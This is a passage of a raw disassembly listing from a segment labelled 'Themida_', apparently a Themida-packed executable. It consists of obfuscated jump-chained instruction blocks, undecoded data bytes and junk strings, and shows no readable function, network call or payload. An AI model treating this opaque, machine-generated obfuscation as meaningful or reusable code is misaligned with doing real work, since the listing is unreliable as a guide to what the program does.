		dd 41B2E9E3h, 665D0000h, 0B3E930FFh, 5FFFF95h, 53C40480h
		dd 637A1805h, 0B8E95620h, 5CFFFFF3h, 0E9240C89h, 0FFFFAD18h
; ---------------------------------------------------------------------------


loc_590D34:				; CODE XREF: Themida_:00593EA9j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_58CD15
; ---------------------------------------------------------------------------


loc_590D3F:				; CODE XREF: Themida_:0058BED8j
		xor	ebp, eax
		pop	eax
		jmp	loc_58F567
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0C0830000h, 71F76802h, 4890000h, 0BE04E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590D5E:				; CODE XREF: Themida_:00593010j
		xor	ebp, ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_58CE6C
; ---------------------------------------------------------------------------


loc_590D69:				; CODE XREF: Themida_:0059254Ej
					; Themida_:00595638j
		xchg	eax, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	eax
		mov	eax, esp
		push	45Ah
		jmp	loc_58B01C
; ---------------------------------------------------------------------------


loc_590D7F:				; CODE XREF: Themida_:0058DB84j
		pop	ebx
		jmp	loc_58BA12
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 1Ch
aSfw		db '$\Σ$$œι”W',0
		db 0
; ---------------------------------------------------------------------------


loc_590D93:				; CODE XREF: Themida_:0058DC31j
		add	ebx, 599C7945h
		add	ebx, edx
		sub	ebx, 599C7945h
		jmp	loc_59446D
; ---------------------------------------------------------------------------


loc_590DA6:				; CODE XREF: Themida_:loc_59593Bj
		push	1A89h
		mov	[esp], ebx
		push	ebp
		jmp	loc_58D3BC
; ---------------------------------------------------------------------------


loc_590DB4:				; CODE XREF: Themida_:0058CD1Bj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58B583
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812404h, 4, 0BF243C89h, 0D013C5Ah, 7246E781h, 0EFC12436h
		dd 0DABD5503h, 810A7F4Fh, 111344C7h, 81EF017Ah,	111344EFh
		dd 0F8895D7Ah, 83243C8Bh, 1CBB04C4h, 1F500ABh, 24048BC3h
		dd 4C481h, 5F210000h, 1DA3E91Ch, 248B0000h, 24343324h
		dd 33243431h, 248B2434h, 2404FE24h, 94A8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590E26:				; CODE XREF: Themida_:0059115Dj
		push	ebp
		mov	ebp, 6CDE500Fh
		neg	ebp
		jmp	loc_58D293
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D4E905EBh, 0F700006Ah, 0DAC781DFh, 0F76BF5B9h, 521AE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590E4A:				; CODE XREF: Themida_:0058C719j
		pop	edi
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 396C1E5Ch
		shr	eax, 1
		push	eax
		jmp	loc_58DCE0
; ---------------------------------------------------------------------------


loc_590E5C:				; CODE XREF: Themida_:00596951j
		mov	[esp], ecx
		jmp	loc_58BE59
; ---------------------------------------------------------------------------
		dd 68240C89h, 3063FD59h, 49D9E9h, 0A3B95100h, 5578F71Fh
		dd 0FFE363E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590E7D:				; CODE XREF: Themida_:00594995j
		mov	eax, [edx]
		pop	edx
		push	dword ptr [edi+eax*4]
		push	4B8Bh
		mov	[esp], ebx
		push	edi
		push	62B376CAh
		pop	edi
		add	edi, 0BE52FDB2h
		mov	ebx, edi
		jmp	$+5
		pop	edi
		jmp	loc_58AF3E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0E5EAE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590EAE:				; CODE XREF: Themida_:005950D5j
		sub	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58C39D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E99C241Ch, 0FFFF9406h, 5AF18858h, 0FFDE1BE9h, 2EC83FFh
		dd 24348966h, 0FFCC81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590EDD:				; CODE XREF: Themida_:0059470Ej
		ja	loc_594CB3
		jmp	loc_597037
; ---------------------------------------------------------------------------
aZKXwS		db '‡<$\ŠΑXWΏ™',0Bh,'»',0
		db 5, 2	dup(3Dh)
		dd 4F0552C8h, 2D7C7A5Fh, 4D8F51B4h, 0B405F801h,	0E94D8F51h
		dd 0FFFFAC63h
; ---------------------------------------------------------------------------


loc_590F10:				; CODE XREF: Themida_:005927E7j
		pop	esp
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_590F16:				; CODE XREF: Themida_:0058C9F2j
		sub	ebx, 20EA7753h
		add	ebx, edx
		add	ebx, 20EA7753h
		pop	edx
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_592737
; ---------------------------------------------------------------------------
		db 52h
		dd 0F73040B6h, 5E7C05Ah, 0D8E95266h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590F3F:				; CODE XREF: Themida_:loc_58C605j
		sub	edx, 474E2E64h
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_5906A4
; ---------------------------------------------------------------------------


loc_590F4F:				; CODE XREF: Themida_:0058B9F4j
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_58BEED
; ---------------------------------------------------------------------------
		db 20h
		dd 148B66F5h, 2C48124h,	0E9000000h, 0FFFFEF7Fh
; ---------------------------------------------------------------------------


loc_590F6C:				; CODE XREF: Themida_:0058F575j
		pop	ebp
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_594C74
; ---------------------------------------------------------------------------


loc_590F87:				; CODE XREF: Themida_:00591A14j
		add	esi, ecx
		jmp	loc_597FB9
; ---------------------------------------------------------------------------
aUvsg		db ')ί[UVιG#',0
		align 4
		dd 0E9F1305Bh, 5E9Ah, 0FF2434FFh, 50582434h, 405E089h
		dd 0E9000000h, 42AAh, 850FD9F7h, 6217h,	6EF7E9h, 0D830AC00h
		db 52h,	5Fh
; ---------------------------------------------------------------------------


loc_590FC6:				; CODE XREF: Themida_:00593896j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 56465183h
		dec	edi
		xor	edi, 0D054487h
		jmp	loc_5925C3
; ---------------------------------------------------------------------------
		dd 0A648E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590FFA:				; CODE XREF: Themida_:0058FC7Dj
		push	ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 5000000h, 4, 26BCBD55h, 0F74D7F02h, 4EE581D5h
		dd 0C14B8D70h, 0D5F703EDh, 0FFAEF5E9h, 241433FFh, 33241431h
		dd 665C2414h, 584CD81h,	0DC29810Fh, 6EE9FFFFh, 81000017h
		dd 4EDh, 0EF815C00h, 4,	5C243C87h, 0FFE147E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591059:				; CODE XREF: Themida_:0058C25Dj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_594CF7
; ---------------------------------------------------------------------------
		db 81h
		dd 9C7745C9h, 0B918E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591072:				; CODE XREF: Themida_:0058C516j
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_596BFE
; ---------------------------------------------------------------------------


loc_59107C:				; CODE XREF: Themida_:00592A5Cj
		push	eax
		not	dword ptr [esp]
		jmp	loc_58D1BA
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 104C483h, 243C8BFBh,	81E28952h, 4C2h, 4C28100h, 87000000h
		dd 0DEE92414h, 0B4FFFFFCh, 46A0E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5910AE:				; CODE XREF: Themida_:0058C7FEj
		add	esp, 4
		jmp	loc_5922E0
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 5Ah
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5910BF:				; CODE XREF: Themida_:0059267Dj
		pop	ebx
		add	esi, eax
		jmp	loc_58ACB6
; ---------------------------------------------------------------------------
		db 87h
		dd 805C2434h, 556801EBh, 89000031h, 0C2882414h,	386851h
		dd 68590000h, 627Fh, 0B8240489h, 428E4729h, 0E958C129h
		dd 25B2h
; ---------------------------------------------------------------------------


loc_5910F4:				; CODE XREF: Themida_:00593147j
		mov	ecx, 4
		jmp	loc_58DF0C
; ---------------------------------------------------------------------------


loc_5910FE:				; CODE XREF: Themida_:00593669j
		not	edi
		xor	edi, 0B7ADFD5Bh
		not	edi
		xor	edi, 51311DC9h
		jl	loc_593A83
		not	edi
		add	edi, 32B2FB6h
		mov	eax, edi
		pop	edi
		mov	bl, bl


loc_591121:				; CODE XREF: Themida_:005921E9j
		sub	bl, 3Bh
		pop	edx
		add	bl, 0CCh
		add	bl, 0F3h
		jmp	loc_58FB3A
; ---------------------------------------------------------------------------


loc_591130:				; CODE XREF: Themida_:loc_592553j
					; Themida_:00595AE5j
		push	7313h
		mov	[esp], eax
		push	ebx
		mov	ebx, 7C524B83h
		push	ebp
		push	519C53DDh
		jmp	loc_592D45
; ---------------------------------------------------------------------------


loc_591149:				; CODE XREF: Themida_:loc_594200j
		sub	ebx, 1411871Fh
		and	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_590E26
; ---------------------------------------------------------------------------


loc_591162:				; CODE XREF: Themida_:0058DE8Dj
		mov	esi, esp
		jmp	loc_58D149
; ---------------------------------------------------------------------------
		db 53h,	50h, 0E9h
		dd 0FFFFCE25h
; ---------------------------------------------------------------------------


loc_591170:				; CODE XREF: Themida_:0059265Cj
		mov	[esp], ecx
		mov	ecx, ebp
		mov	ebx, ecx
		pop	ecx
		mov	[edx], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24348700h, 0E789575Ch,	4EC81h,	14890000h, 0F520E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5911AA:				; CODE XREF: Themida_:0058F61Aj
		add	ecx, ebx
		push	edx
		jmp	loc_597C85
; ---------------------------------------------------------------------------


loc_5911B2:				; CODE XREF: Themida_:0058B60Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	3DC2h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5900D6
; ---------------------------------------------------------------------------
		db 51h
		dd 885002B5h, 88D0F6E8h, 536658C5h, 0FFF2E8E9h,	241487FFh
		dd 0FFF7ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5911E9:				; CODE XREF: Themida_:00595BEDj
		not	esi
		add	esi, 39606905h
		jmp	loc_58A59B
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 36059BCEh, 0A41E94Ah, 685B0000h, 11Ch, 4010E9h
		db 0
; ---------------------------------------------------------------------------


loc_59120D:				; CODE XREF: Themida_:00596456j
		sub	ah, 0E6h
		jmp	loc_58D642
; ---------------------------------------------------------------------------


loc_591215:				; CODE XREF: Themida_:00595394j
		pop	ecx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59122E:				; CODE XREF: Themida_:0058CA95j
		xor	[esp+4], edi
		jmp	loc_58C07C
; ---------------------------------------------------------------------------


loc_591237:				; CODE XREF: Themida_:0058B244j
		push	edx
		mov	edx, 27872A83h
		add	edx, 5421740Ch
		jle	loc_58F831
		jmp	loc_593B33
; ---------------------------------------------------------------------------


loc_59124E:				; CODE XREF: Themida_:0058CC8Bj
		mov	edi, [esp]
		jmp	loc_593273
; ---------------------------------------------------------------------------
aQrsH		db 'QRι]H',0
		db 0
; ---------------------------------------------------------------------------


loc_59125D:				; CODE XREF: Themida_:0058E140j
					; Themida_:005932CBj
		add	ebx, 5B32732h
		add	ebx, 6C4D68B2h
		sub	ebx, esi
		sub	ebx, 6C4D68B2h
		push	ecx
		push	esi
		mov	esi, 5B32732h
		mov	ecx, esi
		pop	esi
		jmp	loc_597F97
; ---------------------------------------------------------------------------
		dd 66E1005Bh, 59C80058h, 50C1B353h, 0CCFE9EB4h,	0E4C0D4F6h
		dd 0CBCC8005h, 6767E9h
		db 0
; ---------------------------------------------------------------------------


loc_59129D:				; CODE XREF: Themida_:0058BB97j
		xor	edi, [esp]
		pop	esp
		jmp	loc_59524C
; ---------------------------------------------------------------------------
		dw 8756h
		dd 0D3F7241Ch, 0E9241C87h, 431Dh, 148BD331h, 0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 0BBE94B5Ch, 0FFFFFF97h
		dd 0F7E92434h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5912D7:				; CODE XREF: Themida_:005925CDj
		xor	edi, edx
		add	edx, 1
		jmp	loc_590707
; ---------------------------------------------------------------------------


loc_5912E1:				; CODE XREF: Themida_:0058DEB6j
		mov	[esp], ax
		mov	al, 12h
		sub	dh, al
		jmp	loc_58E450
; ---------------------------------------------------------------------------
		dw 0EB00h
		dd 238EE9h, 3545BD00h, 0D5F74C74h, 5863F581h, 0D5F72DACh
		dd 0C581DDF7h, 9CB0BCF5h, 0F75DEF89h, 57EFD1D7h, 45242C87h
		dd 33242C31h, 0A1E9242Ch, 0FE000040h, 0E8890FC9h, 80000069h
		dd 0CC8831E9h, 0E1885159h, 0FFDE78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591339:				; CODE XREF: Themida_:0058FFB5j
		push	1D896B3Dh
		pop	ebp
		inc	ebp
		neg	ebp
		jo	loc_592988
		add	ebp, 1D896B42h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5964DB
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0AB11A8A2h, 242C8156h, 57E31B65h, 0FFADF7E9h, 4EC83FFh
		dd 54242C89h, 3BC9E9h, 6BA2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59137A:				; CODE XREF: Themida_:005906AFj
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_597037
; ---------------------------------------------------------------------------


loc_591389:				; CODE XREF: Themida_:0058D1AEj
		pop	ebx
		add	ecx, esi
		push	esi
		mov	esi, 7DF57918h
		inc	esi
		xor	esi, 2BFB3B91h
		add	ecx, esi
		pop	esi
		mov	esi, [esp]
		jmp	loc_592E9B
; ---------------------------------------------------------------------------


loc_5913A4:				; CODE XREF: Themida_:00592DE2j
		add	edi, ebx
		sub	edi, 13014DF9h
		pop	ebx
		push	ebx
		jmp	loc_591CC9
; ---------------------------------------------------------------------------


loc_5913B3:				; CODE XREF: Themida_:005956BCj
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_5963D2
; ---------------------------------------------------------------------------
		dd 7465ED81h, 5BE96018h, 0BE00000Ch, 629207EFh,	3EC5BD55h
		dd 0BE5633A8h, 3E8611FAh, 455EF531h, 15F5814Dh,	210A8E0Dh
		dd 0EEC15DEEh, 3EEC105h, 0C102EEC1h, 0F68102E6h, 4A779382h
		dd 0E95EF001h, 21FDh
; ---------------------------------------------------------------------------


loc_591400:				; CODE XREF: Themida_:005922E1j
		mov	dl, bh
		mov	cl, dl
		pop	edx
		pop	ebx
		shr	cl, 4
		jmp	loc_58ACF4
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 274068h, 48F5400h, 24048324h, 24048F04h, 750268h
		dd 24348900h, 5E08E950h, 0F6800000h, 12C6E94Ch,	0ED810000h
		dd 986AA3FFh, 5F55ED81h, 0F58725FFh, 394AE9h, 0F6E95300h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591453:				; CODE XREF: Themida_:0058B141j
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_594490
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2BB45024h, 0B65296B5h, 0FEDEF690h, 58E680CEh, 36E9D6F6h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59147B:				; CODE XREF: Themida_:0058E8A0j
		pop	esi
		jmp	loc_58CFF9
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 0D3h
		dd 0FB2E480h, 550584h, 4BC48000h, 0FFB2E1E9h, 31F931FFh
		dd 57F931CFh, 505B5F53h, 405E089h, 83000000h, 48704E8h
		dd 1C895C24h, 2414F724h, 46C6685Bh, 3C890000h, 0A1E95324h
		dd 50000055h, 4798E9h
		db 0
; ---------------------------------------------------------------------------


loc_5914C9:				; CODE XREF: Themida_:0058FCCAj
		pop	ebx
		add	eax, 745F2862h
		sub	eax, 3AE1D9ADh
		and	ebp, eax
		pop	eax
		add	ebp, 1
		xor	ebp, 5DC272E2h
		inc	ebp
		jmp	loc_594B9B
; ---------------------------------------------------------------------------


loc_5914E9:				; CODE XREF: Themida_:0058D7FFj
		pop	eax
		add	bl, 1
		push	ecx
		mov	ch, 67h
		jmp	loc_590B14
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5E04h, 48F5C24h, 0D2B6E924h, 3C87FFFFh, 24248B24h
		dd 24042166h, 8DB8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591516:				; CODE XREF: Themida_:0058D57Dj
					; Themida_:005966BCj
		push	ecx
		push	3E230A94h
		jmp	loc_58C692
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd offset dword_51526C+37Dh
		dd 52ABB900h, 0B3E900DEh, 81FFFFF1h, 1F47A3CBh,	0B6FCE96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59153E:				; CODE XREF: Themida_:00597C32j
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_59637B
; ---------------------------------------------------------------------------
		db 0ACh, 66h, 68h
		dd 89662020h, 0B252240Ch, 0C0DAF6C2h, 7AE905E2h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591573:				; CODE XREF: Themida_:loc_595365j
					; Themida_:00597025j
		shl	ebx, 2
		and	ebx, 25C8004Ch
		add	ebx, 4ADDD8A5h
		mov	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		jmp	loc_58F3EC
; ---------------------------------------------------------------------------
		dd 71C06866h, 24048966h, 0FF8D35E9h, 4C281FFh, 81000000h
		dd 4C2h, 0E3A1E900h, 0E789FFFFh, 4C781h, 0EF810000h, 4
		dd 8B243C87h, 3C892424h, 81E78924h, 4ECh, 0A31AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5915CE:				; CODE XREF: Themida_:0058E886j
		pop	ecx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dd 26E9565Bh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5915DB:				; CODE XREF: Themida_:0059421Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_5915ED:				; CODE XREF: Themida_:00597964j
		push	ecx
		mov	ecx, 25534DE8h
		sub	edx, ecx
		pop	ecx
		sub	edx, 1C5F236Fh
		sub	edx, 10930B62h
		sub	edx, 38EB75F7h
		sub	edx, 169B1BB5h
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591613:				; CODE XREF: Themida_:0058D9FDj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B321
; ---------------------------------------------------------------------------


loc_59161F:				; CODE XREF: Themida_:00596747j
		add	ebp, 4
		push	edi
		mov	edi, 4
		push	esi
		push	ebx
		jmp	loc_592F62
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5E0424h, 248B2404h, 68F9F724h, 636Ah, 50241489h, 67A2E99Ch
		dd 0CB290000h, 52D3F759h, 0E2A0E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59165A:				; CODE XREF: Themida_:0058B524j
		inc	eax
		jmp	loc_5927B1
; ---------------------------------------------------------------------------
		dd 55D831ADh, 7DB8BA52h, 7ABD09AAh, 297647E1h, 0C5815AD5h
		dd 0FFFFFFFFh, 8105E5C1h, 175602CDh, 4E5C123h, 5527BB53h
		dd 19E96B35h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59168F:				; CODE XREF: Themida_:00594816j
		mov	edx, [esp]
		jmp	loc_597BE9
; ---------------------------------------------------------------------------


loc_591697:				; CODE XREF: Themida_:005940C1j
		push	esi
		mov	esi, 56167E51h
		jmp	loc_5924A9
; ---------------------------------------------------------------------------


loc_5916A2:				; CODE XREF: Themida_:0058B446j
		push	4B3Ch
		mov	[esp], eax
		jmp	loc_58E6D6
; ---------------------------------------------------------------------------


loc_5916AF:				; CODE XREF: Themida_:00590097j
		mov	edx, 5A1905A8h
		xor	ebx, edx
		pop	edx
		jmp	loc_590910
; ---------------------------------------------------------------------------


loc_5916BC:				; CODE XREF: Themida_:00597CC3j
		push	dword ptr [esp]
		jmp	loc_5941D6
; ---------------------------------------------------------------------------


loc_5916C4:				; CODE XREF: Themida_:0058EFACj
		push	ebp
		push	eax
		jmp	loc_597CE4
; ---------------------------------------------------------------------------


loc_5916CB:				; CODE XREF: Themida_:005943CDj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_590B60
; ---------------------------------------------------------------------------
		db 5Bh,	89h, 0C6h
		dd 8E6C158h, 6B72F681h,	0F329614Ah, 4EC835Eh, 0BD242C89h
		dd 2536581Eh, 5003EDC1h, 0FFEB16E9h, 11E943FFh
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591703:				; CODE XREF: Themida_:0058C3D1j
		pop	ebp
		jmp	loc_592834
; ---------------------------------------------------------------------------


loc_591709:				; CODE XREF: Themida_:005972F9j
		lodsb
		xor	al, bl
		jmp	loc_5921D8
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0AAh
		dd 3171AA21h, 0D88959CBh, 0BAE6E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591722:				; CODE XREF: Themida_:00590B82j
		push	edx
		mov	edx, 7B4459DFh
		jmp	loc_5906B4
; ---------------------------------------------------------------------------


loc_59172D:				; CODE XREF: Themida_:0058ED69j
		sub	eax, 2A0D12AAh
		jmp	loc_58D2ED
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 4600h, 0E9240489h, 0FFFFF3AFh, 240C8B66h
		dd 44B468h, 24348900h, 2434FF54h, 4C4815Eh, 53000000h
		dd 29F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_591765:				; CODE XREF: Themida_:0058EDFBj
		sub	ebp, 6B080B9Ah
		pop	edi
		xor	ebp, edx
		pop	edx
		push	1F540F2Fh
		pop	edx
		jmp	loc_58D9F0
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 3FC775BDh, 0EAE9F229h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591787:				; CODE XREF: Themida_:0058A5EDj
		xor	[edi+24h], eax
		jmp	loc_591877
; ---------------------------------------------------------------------------


loc_59178F:				; CODE XREF: Themida_:0058B005j
		mov	ebp, [esp]
		jmp	loc_58F99E
; ---------------------------------------------------------------------------
		align 4
		dd 0F00059E8h, 0FECCB551h, 56ED80C5h, 2834C580h, 0B75359E8h
		dd 17F780D0h, 0F8004D04h, 8B5B4D2Ch, 0C4812414h, 4, 0FFF292E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5917C5:				; CODE XREF: Themida_:0059595Dj
		shl	edx, 7
		shr	edx, 4
		jmp	loc_58C7B5
; ---------------------------------------------------------------------------
		dd offset dword_588C64+604h
		dd 241C8900h, 0C24403BBh, 0F9E95063h, 47FFFF93h, 9C57C781h
		dd 0EB816FDCh, 13E8271Fh, 0C381FB01h, 13E8271Fh, 0E9243C8Bh
		dd 0FFFF8E38h
; ---------------------------------------------------------------------------


loc_591800:				; CODE XREF: Themida_:0058DBDAj
		or	eax, eax
		jz	loc_595295
		push	ebp
		push	1E48h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 3A3E677Bh
		add	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_590560
; ---------------------------------------------------------------------------


loc_591823:				; CODE XREF: Themida_:0058CF28j
		sub	ebp, 285E5EC5h
		jmp	loc_58C06F
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 2414895Ch, 1BA8E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59183E:				; CODE XREF: Themida_:0058B5AAj
		xor	edi, [esp]
		pop	esp
		and	eax, esi
		jmp	loc_58A40F
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 1Fh
		dd 0E913022Eh, 2331h, 0F7E92EB0h, 68FFFFE1h, 13000451h
		dd 0D75E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591866:				; CODE XREF: Themida_:0059691Ej
		pop	edx
		not	edx
		dec	edx
		sub	edx, 88B7B349h
		mov	esi, edx
		jmp	loc_592572
; ---------------------------------------------------------------------------


loc_591877:				; CODE XREF: Themida_:0059178Aj
		pop	eax
		mov	esi, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 373860A7h
		or	ebx, 78797C9Fh
		push	edi
		mov	edi, 7F797CBBh
		sub	ebx, edi
		jmp	loc_58E0F1
; ---------------------------------------------------------------------------
		db 66h
		dd 13B96651h, 0C8016625h, 5E665966h, 56D80166h,	5317BE66h
		dd 6160E9h, 4FD78700h, 0F2EEEF81h, 0FB01AE18h, 0ADC3815Fh
		dd 294E8D2Bh, 0ADBE56C3h, 294E8D2Bh, 0DC685EF3h, 89000071h
		dd 0E9502434h, 0FFFFB67Bh, 240C8B66h, 14D768h, 24048900h
		dd 405E089h, 5000000h, 2, 2474FF50h, 0E9E5E904h, 0F581FFFFh
		dd 5B30402Ch, 0FFA4D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591909:				; CODE XREF: Themida_:00594979j
		xor	edi, 0AFCAA726h
		push	edi
		pop	esi
		pop	edi
		jmp	loc_58CD07
; ---------------------------------------------------------------------------


loc_591917:				; CODE XREF: Themida_:0058D23Cj
		mov	[esp], ebx
		push	2A5F18BFh
		pop	ebx
		not	ebx
		xor	ebx, 63672FE0h
		ja	loc_591B4D
		sub	ebx, 36D208D2h
		mov	ebp, ebx
		pop	ebx
		mov	ch, 8Dh
		push	esi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_58C6BC
; ---------------------------------------------------------------------------


loc_59194E:				; CODE XREF: Themida_:00593B2Ej
		push	eax
		jmp	loc_59645B
; ---------------------------------------------------------------------------


loc_591954:				; CODE XREF: Themida_:loc_594BC3j
					; Themida_:00594DD1j
		sub	ebp, 2C180382h
		pop	ecx
		push	ebp
		jmp	loc_58CB00
; ---------------------------------------------------------------------------


loc_591961:				; CODE XREF: Themida_:0058F92Aj
		jmp	loc_58C6EC
; ---------------------------------------------------------------------------
		dw 5D5Eh
		dd 0E9240401h, 0FFFFDF5Bh
; ---------------------------------------------------------------------------


loc_591970:				; CODE XREF: Themida_:00596B44j
		xor	ebx, esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		xchg	esi, ebx
		add	ebx, 83E9DBE6h
		jmp	loc_593969
; ---------------------------------------------------------------------------


loc_591984:				; CODE XREF: Themida_:00592B82j
		add	edx, ecx
		jmp	loc_596481
; ---------------------------------------------------------------------------
		db 0FFh
		dd 84E92434h, 5BFFFF9Fh, 5F246866h, 241C8966h, 3CB15152h
		dd 0C980D1F6h, 7AE98052h, 0FF9358E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5919AD:				; CODE XREF: Themida_:00593EB9j
		mov	ebx, 485921D3h
		add	ebx, 0C6A2FA8h
		jmp	loc_58F704
; ---------------------------------------------------------------------------


loc_5919BD:				; CODE XREF: Themida_:005927B3j
		or	eax, 73A34616h
		add	eax, 270368AAh
		jmp	loc_58C2D8
; ---------------------------------------------------------------------------


loc_5919CC:				; CODE XREF: Themida_:0058B4C9j
					; Themida_:0058CCD7j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58AC8B
; ---------------------------------------------------------------------------


loc_5919DA:				; CODE XREF: Themida_:00592336j
		neg	ebp
		push	edi
		jmp	loc_595716
; ---------------------------------------------------------------------------


loc_5919E2:				; CODE XREF: Themida_:00592EF7j
		push	ebx
		add	dword ptr [esp], 4B830C37h
		pop	esi
		push	edx
		push	edi
		mov	edi, 13BC364Eh
		jmp	loc_58B5C2
; ---------------------------------------------------------------------------


loc_5919F7:				; CODE XREF: Themida_:0058E91Ej
		push	edi
		mov	edi, 0AF314A0h
		add	edi, 61AA7A20h
		add	edi, 0A4DD7249h
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_590F87
; ---------------------------------------------------------------------------
		db 88h,	0C2h, 58h
		dd 205AD430h, 2434FFE3h, 4C48358h, 5FB35352h, 0DA28D3B2h
